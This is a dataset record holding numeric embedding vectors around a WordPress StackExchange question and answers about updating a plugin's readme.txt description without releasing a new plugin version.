-0.04388427734375, 0.0214996337890625, -0.0435791015625, -0.0333251953125, -0.000012516975402832031, -0.004947662353515625, -0.01218414306640625, 0.0185546875, -0.0099029541015625, -0.029144287109375, -0.037200927734375, 0.011474609375, 0.0187530517578125, -0.0538330078125, 0.0106658935546875, -0.00609588623046875, -0.03955078125, 0.15283203125, -0.0016183853149414062, -0.08868408203125, 0.0689697265625, -0.0445556640625, 0.0104522705078125, 0.052154541015625, 0.00823974609375, 0.0261993408203125, -0.009857177734375, -0.0352783203125, -0.010009765625, -0.01247406005859375, -0.0302734375, -0.05072021484375, 0.01116180419921875, -0.0124664306640625, -0.007293701171875, 0.002079010009765625, 0.037322998046875, -0.004131317138671875, 0.0183563232421875, -0.0145263671875, 0.037109375, 0.038726806640625, 0.00823211669921875, 0.01396942138671875, 0.0231170654296875, -0.019927978515625, -0.01180267333984375, -0.00814056396484375, -0.03497314453125, -0.0246734619140625, 0.0214080810546875, 0.032470703125, -0.004741668701171875, 0.00353240966796875, 0.00595855712890625, 0.01241302490234375, 0.0024394989013671875, -0.035308837890625, -0.0748291015625, -0.037384033203125, -0.0171051025390625, -0.0214080810546875, -0.00545501708984375, -0.021759033203125, -0.0047607421875, 0.0002799034118652344, -0.021026611328125, 0.0009551048278808594, 0.0236968994140625, -0.02532958984375, -0.0014715194702148438, 0.00029015541076660156, -0.01326751708984375, -0.0301361083984375, -0.04107666015625, 0.0308990478515625, 0.017242431640625, -0.01384735107421875, -0.013671875, 0.03448486328125, -0.0174407958984375, -0.009552001953125, -0.03045654296875, 0.032867431640625, 0.0033245086669921875, 0.0141448974609375, 0.027191162109375, -0.000675201416015625, -0.044036865234375, -0.0220184326171875, -0.03851318359375, -0.01250457763671875, 0.023162841796875, 0.00872802734375, -0.0267181396484375, -0.005626678466796875, 0.003627777099609375, 0.0023059844970703125, -0.014312744140625, 0.00688934326171875, -0.0178375244140625, 0.04595947265625, 0.007106781005859375, 0.0028896331787109375, -0.02313232421875, 0.06988525390625, -0.0019350051879882812, 0.04852294921875, 0.01537322998046875, 0.03656005859375, -0.0226593017578125, -0.0163726806640625, 0.0226593017578125, -0.0015687942504882812, -0.049102783203125, -0.038330078125, -0.0052642822265625, -0.0019178390502929688, 0.05096435546875, -0.017364501953125, -0.027557373046875, 0.0017948150634765625, 0.0113067626953125, -0.020355224609375, 0.039794921875, 0.01175689697265625, -0.05108642578125, 0.0272216796875, 0.0028095245361328125, 0.033477783203125, 0.0017414093017578125, -0.03363037109375, 0.031768798828125, 0.01519775390625, 0.0218963623046875, 0.00992584228515625, -0.031768798828125, 0.03192138671875, 0.056182861328125, -0.0019235610961914062, 0.05096435546875, 0.03106689453125, 0.02392578125, 0.01641845703125, -0.007541656494140625, -0.0295562744140625, -0.0249481201171875, 0.045654296875, 0.0174407958984375, -0.01959228515625, 0.04510498046875, -0.0301666259765625, 0.00945281982421875, 0.037628173828125, 0.07110595703125, -0.0740966796875, 0.0181121826171875, 0.004932403564453125, -0.0009059906005859375, 0.042205810546875, -0.0097198486328125, -0.033355712890625, -0.0462646484375, 0.06304931640625, -0.034820556640625, -0.019134521484375, 0.026397705078125, -0.009674072265625, 0.0101318359375, 0.0031909942626953125, 0.08038330078125, 0.011260986328125, -0.0198211669921875, -0.03179931640625, 0.023834228515625, 0.0047149658203125, 0.0014123916625976562, 0.016448974609375, -0.000457763671875, -0.023773193359375, -0.04638671875, -0.019378662109375, -0.0255279541015625, -0.035003662109375, 0.0107421875, 0.035919189453125, 0.03948974609375, 0.0377197265625, 0.01419830322265625, -0.00948333740234375, -0.0029201507568359375, 0.0298004150390625, 0.025146484375, -0.0229339599609375, -0.0159759521484375, 0.020111083984375, -0.03826904296875, 0.006008148193359375, -0.0189361572265625, 0.00475311279296875, 0.0023059844970703125, -0.018402099609375, 0.0618896484375, 0.004604339599609375, -0.03216552734375, 0.0234527587890625, -0.004367828369140625, -0.003612518310546875, -0.007732391357421875, 0.00965118408203125, -0.0343017578125, 0.0136566162109375, -0.0007796287536621094, -0.0171661376953125, -0.0209197998046875, -0.0188140869140625, -0.0736083984375, 0.08624267578125, 0.0281829833984375, 0.0294647216796875, -0.01345062255859375, 0.025909423828125, -0.0244598388671875, 0.0162353515625, -0.043731689453125, 0.053497314453125, 0.0290069580078125, 0.0238800048828125, -0.030364990234375, -0.007904052734375, -0.0029850006103515625, 0.01153564453125, 0.005153656005859375, 0.007442474365234375, -0.033355712890625, -0.028839111328125, 0.007396697998046875, 0.04095458984375, 0.02301025390625, 0.0221405029296875, 0.0189208984375, 0.0301361083984375, 0.04864501953125, -0.043182373046875, 0.04278564453125, -0.061279296875, 0.00991058349609375, 0.0213165283203125, 0.004913330078125, -0.0168914794921875, -0.0203857421875, 0.01617431640625, -0.08282470703125, 0.01305389404296875, 0.042022705078125, 0.01331329345703125, 0.0232391357421875, 0.032318115234375, 0.05328369140625, -0.027099609375, 0.0181427001953125, -0.03271484375, 0.05267333984375, -0.00966644287109375, 0.01654052734375, 0.042266845703125, 0.02679443359375, -0.00576019287109375, 0.0275421142578125, 0.0246734619140625, 0.024017333984375, -0.0254364013671875, 0.038665771484375, 0.0254974365234375, 0.031402587890625, -0.0380859375, -0.0106201171875, 0.00980377197265625, 0.046356201171875, -0.0291290283203125, -0.00872039794921875, 0.0187225341796875, 0.01103973388671875, 0.026123046875, 0.007720947265625, 0.07708740234375, 0.0270538330078125, 0.01971435546875, 0.0135650634765625, 0.007137298583984375, -0.0166473388671875, -0.0018053054809570312, -0.002712249755859375, 0.0501708984375, -0.0034198760986328125, 0.0318603515625, 0.01425933837890625, 0.005584716796875, 0.0270843505859375, 0.01032257080078125, -0.031463623046875, 0.02874755859375, -0.040435791015625, 0.01509857177734375, -0.030303955078125, 0.023101806640625, 0.0347900390625, 0.0059814453125, -0.0196533203125, 0.00868988037109375, 0.0272064208984375, 0.0265350341796875, -0.0246734619140625, -0.0027256011962890625, 0.0209808349609375, 0.021209716796875, -0.037200927734375, -0.03106689453125, 0.0224151611328125, -0.0322265625, -0.0167694091796875, -0.01995849609375, -0.0122528076171875, 0.03778076171875, 0.0007348060607910156, 0.00884246826171875, 0.00872039794921875, 0.045013427734375, -0.0035114288330078125, 0.033905029296875, -0.0029754638671875, 0.007106781005859375, 0.020233154296875, -0.023040771484375, 0.0154266357421875, 0.0086669921875, -0.05780029296875, -0.0062255859375, -0.0032596588134765625, -0.0457763671875, 0.0178985595703125, 0.039154052734375, -0.0172576904296875, 0.0091705322265625, 0.005023956298828125, -0.0584716796875, 0.00983428955078125, 0.055633544921875, -0.0088653564453125, -0.001995086669921875, 0.00982666015625, -0.022918701171875, -0.0438232421875, -0.0249786376953125, 0.00365447998046875, 0.00630950927734375, -0.00844573974609375, 0.07293701171875, -0.002101898193359375, -0.00867462158203125, -0.048248291015625, 0.0016641616821289062, -0.04156494140625, -0.04022216796875, 0.0194549560546875, -0.0074920654296875, -0.01433563232421875, 0.0255279541015625, -0.04034423828125, 0.09246826171875, -0.05279541015625, 0.042144775390625, 0.06988525390625, -0.06890869140625, -0.0005512237548828125, 0.048553466796875, 0.01091766357421875, -0.0361328125, -0.08404541015625, 0.005619049072265625, 0.08465576171875, -0.047149658203125, 0.035430908203125, -0.0179443359375, 0.038604736328125, -0.06744384765625, -0.0173797607421875, 0.005954742431640625, -0.045257568359375, -0.0335693359375, 0.0106201171875, -0.037445068359375, 0.0245361328125, -0.037567138671875, -0.0305023193359375, -0.0058135986328125, 0.006885528564453125, -0.0386962890625, -0.00806427001953125, 0.041229248046875, 0.00041222572326660156, 0.058837890625, 0.0618896484375, 0.02838134765625, 0.028076171875, 0.002349853515625, -0.018707275390625, 0.01190185546875, -0.049072265625, -0.0250701904296875, -0.040374755859375, 0.00437164306640625, 0.02996826171875, -0.004467010498046875, 0.000728607177734375, -0.0188751220703125, 0.025482177734375, -0.0174102783203125, -0.054656982421875, -0.00316619873046875, 0.002956390380859375, -0.04681396484375, 0.053985595703125, -0.07342529296875, -0.0018510818481445312, 0.033935546875, 0.06756591796875, -0.01509857177734375, 0.00042510032653808594, 0.017181396484375, -0.00933837890625, 0.0008072853088378906, 0.01287078857421875, 0.0257720947265625, -0.0100555419921875, -0.0223388671875, 0.0006833076477050781, 0.0036983489990234375, 0.025146484375, -0.0077972412109375, -0.00946044921875, 0.01261138916015625, 0.0149383544921875, -0.01461029052734375, -0.0828857421875, 0.0005130767822265625, -0.061614990234375, 0.007205963134765625, -0.048828125, 0.0223236083984375, 0.038604736328125, -0.033905029296875, -0.09033203125, 0.052764892578125, -0.0246429443359375, -0.03240966796875, -0.05206298828125, 0.001453399658203125, 0.00791168212890625, -0.01364898681640625, -0.03485107421875, 0.0013828277587890625, -0.03375244140625, 0.015380859375, 0.0200347900390625, 0.0018901824951171875, 0.0170440673828125, 0.037384033203125, -0.044525146484375, 0.03997802734375, 0.02862548828125, -0.00524139404296875, 0.0216522216796875, 0.007488250732421875, 0.0200958251953125, 0.041015625, -0.033905029296875, -0.00475311279296875, -0.0162811279296875, -0.01033782958984375, -0.023681640625, -0.00571441650390625, 0.0254669189453125, 0.022369384765625, 0.038055419921875, 0.07196044921875, -0.004558563232421875, -0.048614501953125, -0.049774169921875, -0.03448486328125, 0.018402099609375, -0.035491943359375, -0.00789642333984375, -0.040252685546875, 0.006763458251953125, -0.04473876953125, 0.01519012451171875, -0.0110321044921875, -0.0361328125, -0.01512908935546875, -0.02008056640625, 0.005252838134765625, 0.01513671875, 0.01959228515625, -0.051849365234375, 0.057586669921875, -0.046173095703125, -0.017852783203125, 0.00266265869140625, 0.046661376953125, 0.01367950439453125, -0.0166168212890625, 0.01399993896484375, 0.016357421875, -0.03204345703125, -0.002498626708984375, 0.0083465576171875, 0.02008056640625, -0.01910400390625, -0.0215911865234375, -0.0116729736328125, 0.00991058349609375, 0.00470733642578125, 0.01068878173828125, -0.0162811279296875, 0.01910400390625, -0.0011501312255859375, 0.045562744140625, -0.01226043701171875, -0.043365478515625, -0.038970947265625, 0.035980224609375, 0.041046142578125, -0.03411865234375, 0.07611083984375, -0.01480865478515625, -0.00688934326171875, 0.01207733154296875, 0.01654052734375, -0.050750732421875, 0.0150146484375, 0.01519012451171875, 0.03192138671875, 0.01512908935546875 ]
400f216c5781ba71fa2e34786d852cce6248177d
Wordpress Stackexchange Q: How to update WordPress plugin readme.txt description page without triggering a plugin update? Is it possible to update the readme.txt file for a plugin without releasing a new plugin version update? A: When you look at the plugin description (and other sections), it all comes from the current version README.TXT file. So if you upload a changed version of README.TXT to the current version's repository (not changing the repository version number), the newly updated README.TXT file information is shown on the page. This is great for updating the 'tested to' version numbers, when you didn't make any code changes to the plugin. More info here (and other links from there).
Q: How to update WordPress plugin readme.txt description page without triggering a plugin update? Is it possible to update the readme.txt file for a plugin without releasing a new plugin version update? A: When you look at the plugin description (and other sections), it all comes from the current version README.TXT file. So if you upload a changed version of README.TXT to the current version's repository (not changing the repository version number), the newly updated README.TXT file information is shown on the page. This is great for updating the 'tested to' version numbers, when you didn't make any code changes to the plugin. More info here (and other links from there). A: As far as I know, If you don't update the plugin version, it will not trigger the plugin update. I have done this few times for my plugins, and it works, for as long as the version has not changed.
wordpress
{ "language": "en", "length": 152, "provenance": "stackexchange_00019.jsonl.gz:485511", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301078" }
[ 0.026885986328125, -0.02740478515625, 0.005702972412109375, -0.04388427734375, -0.0193634033203125, -0.012298583984375, -0.0204010009765625, 0.0095977783203125, -0.01129913330078125, 0.020660400390625, -0.0443115234375, 0.032196044921875, -0.024658203125, 0.00885009765625, -0.0171051025390625, -0.0472412109375, 0.0362548828125, 0.02569580078125, 0.057952880859375, 0.0016984939575195312, -0.001468658447265625, 0.038055419921875, 0.032745361328125, 0.0576171875, -0.017822265625, -0.013427734375, 0.1429443359375, -0.039459228515625, 0.01235198974609375, -0.0316162109375, 0.02099609375, 0.00015366077423095703, 0.023162841796875, 0.01441192626953125, -0.0264434814453125, -0.022064208984375, 0.0071258544921875, -0.0036144256591796875, -0.01398468017578125, 0.04156494140625, 0.0269927978515625, -0.00457763671875, 0.0218048095703125, 0.003276824951171875, 0.004352569580078125, -0.02618408203125, 0.0295257568359375, -0.031646728515625, 0.019805908203125, -0.0161285400390625, -0.00531005859375, 0.0316162109375, 0.01508331298828125, 0.004558563232421875, -0.034423828125, -0.0218963623046875, -0.032562255859375, 0.07159423828125, 0.02301025390625, -0.049652099609375, -0.033416748046875, 0.017181396484375, 0.0362548828125, 0.042572021484375, -0.0007572174072265625, 0.0055999755859375, 0.003986358642578125, 0.00931549072265625, -0.0518798828125, -0.002475738525390625, 0.04168701171875, -0.053375244140625, 0.0241851806640625, -0.0177459716796875, -0.0155029296875, -0.0146484375, 0.005474090576171875, -0.0277099609375, 0.01496124267578125, -0.0177459716796875, 0.04217529296875, -0.0009679794311523438, 0.0298309326171875, -0.021514892578125, 0.020294189453125, 0.0006284713745117188, 0.0026493072509765625, -0.023193359375, -0.047698974609375, 0.0007009506225585938, -0.050079345703125, 0.01422882080078125, -0.03753662109375, 0.015625, -0.026947021484375, 0.041351318359375, -0.0244140625, 0.0465087890625, -0.038421630859375, 0.04925537109375, -0.0323486328125, -0.00807952880859375, 0.040008544921875, -0.05322265625, 0.00673675537109375, 0.02532958984375, 0.01873779296875, -0.0167999267578125, 0.0108642578125, 0.01171112060546875, -0.0167236328125, 0.0182037353515625, -0.0136871337890625, -0.05950927734375, 0.046539306640625, 0.050994873046875, -0.035888671875, 0.0721435546875, -0.004268646240234375, 0.0457763671875, -0.03857421875, 0.0004916191101074219, -0.00397491455078125, -0.003108978271484375, -0.0023708343505859375, -0.020721435546875, 0.020416259765625, -0.003467559814453125, -0.01451873779296875, -0.031585693359375, -0.01422119140625, 0.011932373046875, 0.035003662109375, 0.045623779296875, 0.00919342041015625, 0.006134033203125, -0.016571044921875, 0.0239105224609375, -0.0008902549743652344, -0.0006880760192871094, -0.053955078125, -0.01904296875, 0.050506591796875, -0.059722900390625, -0.002307891845703125, 0.0017728805541992188, 0.0031871795654296875, 0.0283966064453125, 0.029510498046875, 0.031768798828125, -0.005970001220703125, -0.034393310546875, 0.040130615234375, -0.0007181167602539062, -0.0158843994140625, -0.067138671875, 0.0286865234375, -0.049468994140625, 0.02410888671875, -0.0728759765625, 0.02703857421875, -0.0269927978515625, -0.01140594482421875, -0.003665924072265625, -0.0272369384765625, 0.0357666015625, -0.01335906982421875, 0.0025501251220703125, 0.0264892578125, 0.030670166015625, 0.00833892822265625, -0.0265045166015625, 0.0258331298828125, 0.0175323486328125, -0.00421142578125, 0.0265045166015625, 0.0176239013671875, -0.00719451904296875, 0.023162841796875, -0.0242767333984375, -0.04736328125, -0.0301666259765625, 0.048675537109375, -0.03118896484375, -0.0226287841796875, 0.0139617919921875, -0.0186614990234375, 0.04010009765625, 0.0241546630859375, 0.01104736328125, -0.0118408203125, -0.02496337890625, -0.04144287109375, 0.006565093994140625, 0.0124969482421875, 0.0251312255859375, 0.030548095703125, 0.04290771484375, 0.0151824951171875, -0.074462890625, -0.053009033203125, 0.0279998779296875, -0.02044677734375, -0.0003006458282470703, -0.0162353515625, 0.00257110595703125, -0.0086517333984375, 0.056304931640625, 0.0091705322265625, 0.03759765625, 0.00389862060546875, 0.01169586181640625, -0.007472991943359375, -0.03338623046875, -0.033935546875, -0.01436614990234375, -0.01546478271484375, 0.02459716796875, 0.0184173583984375, 0.006061553955078125, 0.0333251953125, -0.0134429931640625, 0.0237274169921875, 0.00562286376953125, -0.0161590576171875, -0.0177001953125, -0.0004906654357910156, -0.01403045654296875, 0.0150146484375, -0.004405975341796875, 0.0352783203125, -0.017608642578125, 0.0285491943359375, 0.0038127899169921875, -0.0097503662109375, 0.004993438720703125, 0.017578125, -0.0985107421875, 0.007389068603515625, 0.045928955078125, 0.0322265625, 0.0009140968322753906, 0.00473785400390625, 0.01213836669921875, 0.032135009765625, -0.01342010498046875, 0.0196990966796875, -0.00994873046875, 0.01174163818359375, 0.05078125, 0.02392578125, 0.0062103271484375, 0.01311492919921875, -0.038330078125, 0.005016326904296875, 0.03570556640625, 0.0189056396484375, 0.000050187110900878906, -0.03192138671875, 0.01522064208984375, 0.0022525787353515625, -0.022003173828125, -0.041717529296875, 0.0034332275390625, 0.038848876953125, -0.0087127685546875, 0.05938720703125, 0.050140380859375, -0.006809234619140625, -0.04058837890625, 0.0186309814453125, 0.051971435546875, 0.01549530029296875, 0.045166015625, -0.02447509765625, 0.03564453125, 0.0153045654296875, -0.03375244140625, -0.003025054931640625, 0.0286407470703125, -0.0367431640625, -0.064453125, -0.0034084320068359375, -0.005474090576171875, 0.040985107421875, -0.00988006591796875, 0.036468505859375, -0.034210205078125, -0.01175689697265625, 0.02508544921875, 0.062042236328125, -0.0218658447265625, -0.010955810546875, -0.01861572265625, -0.0238800048828125, -0.0166473388671875, 0.0023899078369140625, -0.039215087890625, 0.0352783203125, -0.017425537109375, 0.047760009765625, 0.06988525390625, 0.0170440673828125, -0.005596160888671875, 0.007022857666015625, -0.041839599609375, 0.005859375, 0.007160186767578125, -0.01074981689453125, 0.034332275390625, -0.07904052734375, 0.04150390625, 0.0077972412109375, 0.0200958251953125, -0.007579803466796875, -0.045562744140625, -0.00958251953125, 0.0009732246398925781, -0.054656982421875, -0.0469970703125, -0.00725555419921875, -0.043487548828125, 0.0005660057067871094, -0.0307769775390625, -0.0218963623046875, -0.0161285400390625, -0.0107269287109375, 0.010955810546875, -0.019256591796875, -0.045196533203125, -0.0205535888671875, -0.054046630859375, -0.060943603515625, 0.00927734375, 0.0190582275390625, 0.01161956787109375, -0.0018568038940429688, 0.032073974609375, -0.00724029541015625, -0.053314208984375, -0.0270538330078125, 0.03277587890625, -0.004283905029296875, 0.0001373291015625, 0.0285797119140625, 0.0010461807250976562, 0.004486083984375, 0.030181884765625, 0.041290283203125, 0.040557861328125, -0.05645751953125, -0.03192138671875, -0.0014066696166992188, -0.00962066650390625, 0.005069732666015625, -0.00868988037109375, -0.005466461181640625, 0.0031108856201171875, -0.033935546875, -0.05029296875, -0.019287109375, 0.01462554931640625, -0.018402099609375, 0.005046844482421875, 0.01201629638671875, -0.014923095703125, -0.043792724609375, 0.041351318359375, -0.0211029052734375, 0.0262298583984375, 0.036041259765625, -0.02099609375, 0.0202484130859375, -0.036712646484375, -0.06884765625, -0.03717041015625, 0.040496826171875, -0.01433563232421875, -0.006744384765625, -0.0004038810729980469, 0.0012426376342773438, -0.0292205810546875, 0.0171051025390625, -0.06695556640625, -0.0018320083618164062, 0.0246429443359375, -0.04107666015625, 0.0274200439453125, -0.0552978515625, -0.00799560546875, -0.033538818359375, 0.052215576171875, 0.0174407958984375, -0.0168914794921875, 0.015716552734375, 0.0186614990234375, -0.036285400390625, -0.0196075439453125, -0.042999267578125, -0.01210784912109375, 0.006439208984375, -0.0028324127197265625, 0.0008392333984375, -0.00897216796875, -0.00506591796875, 0.04266357421875, 0.0115966796875, 0.0006284713745117188, 0.0245208740234375, -0.007366180419921875, 0.02587890625, 0.0029659271240234375, 0.0010232925415039062, -0.01285552978515625, -0.002655029296875, -0.0347900390625, -0.0526123046875, 0.00887298583984375, -0.05181884765625, 0.03179931640625, 0.018768310546875, -0.00005900859832763672, -0.02081298828125, 0.020751953125, 0.004222869873046875, 0.043182373046875, -0.0188140869140625, -0.0160980224609375, -0.024749755859375, 0.039520263671875, 0.04364013671875, -0.00998687744140625, -0.00919342041015625, 0.0170135498046875, 0.0194854736328125, 0.02191162109375, -0.0220489501953125, -0.0838623046875, 0.015716552734375, -0.028350830078125, -0.0347900390625, -0.0233612060546875, -0.0178680419921875, -0.01085662841796875, 0.007152557373046875, -0.0111236572265625, -0.021392822265625, -0.0246124267578125, 0.06561279296875, -0.0040740966796875, -0.00962066650390625, 0.0013837814331054688, 0.08343505859375, 0.01361846923828125, -0.0140228271484375, -0.08026123046875, 0.01186370849609375, 0.0211334228515625, 0.054534912109375, 0.01024627685546875, -0.0172119140625, -0.0175628662109375, 0.033172607421875, 0.0127410888671875, 0.01215362548828125, -0.0198974609375, 0.034210205078125, -0.00024390220642089844, -0.031341552734375, 0.0235595703125, 0.00220489501953125, -0.021240234375, 0.014923095703125, -0.0283355712890625, 0.02044677734375, -0.037750244140625, 0.005374908447265625, -0.015106201171875, 0.038238525390625, -0.0031490325927734375, -0.0494384765625, 0.0191802978515625, 0.0550537109375, 0.0113372802734375, 0.037689208984375, -0.01230621337890625, 0.0181427001953125, -0.0186309814453125, -0.0209503173828125, -0.006927490234375, 0.01282501220703125, 0.00949859619140625, 0.009918212890625, 0.0037326812744140625, -0.0221405029296875, -0.03753662109375, -0.01447296142578125, 0.063720703125, -0.01494598388671875, -0.04827880859375, -0.00829315185546875, -0.01751708984375, -0.00785064697265625, 0.034759521484375, 0.05523681640625, 0.029022216796875, 0.047119140625, 0.00247955322265625, -0.021575927734375, 0.072509765625, 0.021148681640625, -0.0196990966796875, 0.0206756591796875, -0.00439453125, -0.018035888671875, 0.0271148681640625, 0.01611328125, -0.0045166015625, 0.007965087890625, -0.017486572265625, 0.0465087890625, 0.03814697265625, -0.01454925537109375, 0.049102783203125, -0.028900146484375, 0.0226287841796875, -0.0703125, -0.034454345703125, -0.01861572265625, -0.0105133056640625, -0.00554656982421875, -0.00450897216796875, -0.030548095703125, -0.01255035400390625, 0.05078125, -0.004123687744140625, -0.0230712890625, -0.0015630722045898438, -0.00791168212890625, -0.0267181396484375, -0.01318359375, 0.0207366943359375, 0.0256500244140625, -0.0016164779663085938, 0.01003265380859375, -0.01412200927734375, -0.00957489013671875, -0.01276397705078125, -0.0309600830078125, -0.0380859375, -0.01497650146484375, 0.0095062255859375, 0.0379638671875, -0.0034122467041015625, -0.04534912109375, -0.023193359375, -0.0169525146484375, -0.00981903076171875, 0.0106201171875, 0.048095703125, 0.00522613525390625, 0.004119873046875, -0.021575927734375, -0.00882720947265625, -0.01113128662109375, -0.01399993896484375, 0.08123779296875, 0.043792724609375, -0.048583984375, -0.0293121337890625, -0.06365966796875, -0.058135986328125, -0.060211181640625, -0.03094482421875, -0.05255126953125, 0.04351806640625, 0.029541015625, 0.0291290283203125, 0.005031585693359375, -0.00704193115234375, -0.017059326171875, 0.017303466796875, 0.006622314453125, 0.057525634765625, 0.01535797119140625, -0.006893157958984375, 0.00240325927734375, 0.0132293701171875, 0.026031494140625, -0.0013284683227539062, -0.0220947265625, -0.034271240234375, -0.01153564453125, 0.015045166015625, 0.0174102783203125, -0.00888824462890625, 0.036651611328125, -0.046051025390625, 0.0165557861328125, 0.0004730224609375, -0.04150390625, -0.008544921875, 0.007427215576171875, -0.0230560302734375, 0.035400390625, 0.0146331787109375, -0.049468994140625, -0.0025348663330078125, -0.032440185546875, 0.009796142578125, 0.00551605224609375, 0.0204315185546875, -0.03564453125, -0.0306396484375, -0.016632080078125, 0.0266876220703125, -0.055938720703125, 0.048309326171875, 0.0289306640625, -0.0285186767578125, 0.006259918212890625, 0.0124359130859375, -0.00405120849609375, 0.01739501953125, -0.0238494873046875, 0.04681396484375, 0.04156494140625, 0.09210205078125, 0.0015096664428710938, -0.005706787109375, 0.072998046875, -0.04156494140625, 0.050384521484375, -0.023193359375, 0.06060791015625, -0.0207366943359375, 0.044158935546875, 0.01122283935546875, -0.0308837890625, 0.07061767578125, 0.0114593505859375, -0.041717529296875, -0.055572509765625, 0.04034423828125, -0.05804443359375, -0.020751953125, 0.006717681884765625, 0.00319671630859375, -0.009765625, -0.006275177001953125, 0.0272979736328125, 0.040252685546875, -0.0227508544921875, 0.0305938720703125, 0.01531219482421875, 0.02783203125, 0.00311279296875, 0.004123687744140625, 0.0177459716796875, -0.0259857177734375, -0.0268707275390625, 0.0299224853515625, -0.00965118408203125, -0.021881103515625, 0.016845703125, 0.03240966796875, 0.0205078125, 0.041961669921875, 0.0064697265625, -0.0270843505859375, 0.0268707275390625, 0.0104522705078125, -0.01461029052734375, -0.07684326171875, -0.0242462158203125, 0.05401611328125, -0.0259246826171875, 0.03033447265625, 0.040008544921875, -0.041717529296875, -0.019927978515625, -0.03936767578125, 0.08111572265625, -0.01551055908203125, -0.0271759033203125, 0.0046234130859375, -0.0016775131225585938, -0.006256103515625, 0.0274658203125, 0.01873779296875, -0.015350341796875, 0.0279388427734375, 0.0185699462890625, 0.0059661865234375, 0.01464080810546875, 0.03436279296875, -0.0809326171875, 0.1236572265625, 0.0299530029296875, 0.0034694671630859375, -0.01551055908203125, 0.058349609375, -0.04278564453125, 0.0167999267578125, -0.00015664100646972656, 0.047454833984375, -0.0157318115234375, 0.033172607421875, 0.0184783935546875, 0.0120086669921875, 0.032989501953125, 0.01149749755859375, 0.06640625, 0.0152740478515625, -0.0313720703125, 0.0018768310546875, 0.0592041015625, 0.0272979736328125, -0.0001652240753173828, 0.039520263671875, 0.030487060546875, 0.0136260986328125, 0.004375457763671875, -0.0008707046508789062, 0.036834716796875, -0.05999755859375, -0.016143798828125, 0.055206298828125, 0.00556182861328125, -0.00664520263671875, -0.00782012939453125, 0.02935791015625, 0.029876708984375, -0.015960693359375, -0.02508544921875, 0.036590576171875, 0.01806640625, 0.0206451416015625, 0.028076171875, 0.0440673828125, 0.03790283203125, -0.0080718994140625, 0.0419921875, 0.00400543212890625, 0.0035152435302734375, 0.012054443359375, 0.010040283203125, 0.0416259765625, -0.041168212890625, -0.01224517822265625, 0.01197052001953125, -0.022705078125, 0.01708984375, 0.00823974609375, 0.01727294921875, -0.0131988525390625, 0.0084686279296875, 0.0343017578125, 0.02984619140625, -0.03436279296875, -0.006679534912109375, 0.0194244384765625, -0.0224151611328125, -0.039398193359375, -0.031280517578125, -0.0479736328125, -0.04150390625, -0.029815673828125, 0.00720977783203125, -0.019775390625, 0.0143280029296875, -0.0123748779296875, 0.0081939697265625, 0.0229339599609375, 0.0181732177734375, -0.00438690185546875, -0.05621337890625, 0.051727294921875, 0.03814697265625, 0.02960205078125, -0.039306640625, 0.09039306640625, 0.0304107666015625, -0.00908660888671875, -0.01129150390625, 0.01335906982421875, -0.024810791015625, 0.021759033203125, -0.0224456787109375, -0.02069091796875, 0.0076751708984375, 0.0307769775390625, 0.04217529296875, 0.005054473876953125, 0.034423828125, 0.0467529296875, 0.0185699462890625, 0.01332855224609375, 0.045379638671875, 0.015228271484375, 0.01140594482421875, -0.049560546875, 0.032318115234375, 0.017669677734375, -0.0010023117065429688, -0.00628662109375, 0.0125732421875, 0.040008544921875, -0.021728515625, 0.03741455078125, -0.00934600830078125, -0.0125579833984375, 0.0714111328125, -0.0311737060546875, 0.07635498046875, 0.00041866302490234375, 0.0033721923828125, -0.01226806640625, -0.0109100341796875, 0.0242767333984375, 0.01142120361328125, 0.0276641845703125, -0.015777587890625, 0.04791259765625, 0.00704193115234375, 0.051605224609375, 0.0110931396484375, -0.0870361328125, 0.029388427734375, -0.01377105712890625, 0.018218994140625, 0.0307464599609375, 0.0026264190673828125, -0.0239715576171875, -0.0003840923309326172, 0.059173583984375, 0.024017333984375, 0.023834228515625, -0.01554107666015625, 0.0391845703125, -0.0128631591796875, 0.01708984375, -0.0293121337890625, -0.0203857421875, 0.0170135498046875, 0.00940704345703125, 0.007354736328125, -0.0020427703857421875, -0.03729248046875, 0.09320068359375, -0.0002796649932861328, 0.00896453857421875, 0.060028076171875, 0.0006351470947265625, -0.02349853515625, -0.001728057861328125, -0.0032291412353515625, -0.0129852294921875, -0.03125, 0.040618896484375, 0.0341796875, -0.00650787353515625, 0.001544952392578125, -0.030364990234375, -0.00971221923828125, 0.03363037109375, -0.0017871856689453125, 0.01247406005859375, 0.03143310546875, 0.005756378173828125, 0.028167724609375, 0.0330810546875, 0.0083465576171875, -0.018218994140625, -0.02838134765625, 0.02642822265625, -0.0291900634765625, 0.039215087890625, -0.0228424072265625, 0.00026702880859375, 0.0025234222412109375, -0.030670166015625, 0.040252685546875, -0.024017333984375, 0.001224517822265625, -0.03515625, 0.03485107421875, -0.0088958740234375, -0.037750244140625, -0.0212249755859375, -0.062255859375, 0.004589080810546875, 0.01080322265625, -0.04119873046875, -0.022796630859375, 0.004711151123046875, 0.0263519287109375, 0.004932403564453125, -0.004764556884765625, -0.06317138671875, 0.03955078125, -0.0199432373046875, 0.05438232421875, -0.046844482421875, -0.04443359375, -0.00492095947265625, 0.0022945404052734375, -0.02386474609375, -0.0267486572265625, -0.052947998046875, 0.0234375, -0.03192138671875, 0.0149688720703125, 0.014007568359375, -0.0202178955078125, 0.0107269287109375, 0.0269775390625, 0.045318603515625, 0.06256103515625, 0.006908416748046875, 0.00543975830078125, 0.040435791015625, -0.0022983551025390625, -0.03045654296875, -0.074951171875, -0.0013628005981445312, -0.057525634765625, 0.00311279296875, -0.0176239013671875, -0.01274871826171875, -0.0165557861328125, -0.0491943359375, -0.057373046875, -0.0011320114135742188, -0.000025510787963867188, -0.048736572265625, -0.01137542724609375, -0.039459228515625, -0.035552978515625, 0.03826904296875, -0.0048980712890625, -0.030548095703125, -0.023956298828125, 0.0413818359375, -0.0081787109375, 0.07080078125, -0.0221099853515625, -0.007720947265625, 0.02197265625, 0.043792724609375, 0.047821044921875, -0.00524139404296875, -0.01447296142578125, 0.017059326171875, -0.00609588623046875, 0.01216888427734375, -0.033233642578125, -0.0267791748046875, 0.00582122802734375, 0.02386474609375, -0.01342010498046875, 0.00969696044921875, -0.033905029296875, 0.0121002197265625, 0.0799560546875, 0.07861328125, 0.01476287841796875, -0.045928955078125, 0.00962066650390625, -0.00917816162109375, -0.0191650390625, -0.01026153564453125, 0.0070648193359375, -0.03082275390625, -0.0003859996795654297, 0.004146575927734375, -0.0263824462890625, -0.035064697265625, 0.0215606689453125, -0.07049560546875, 0.003650665283203125, 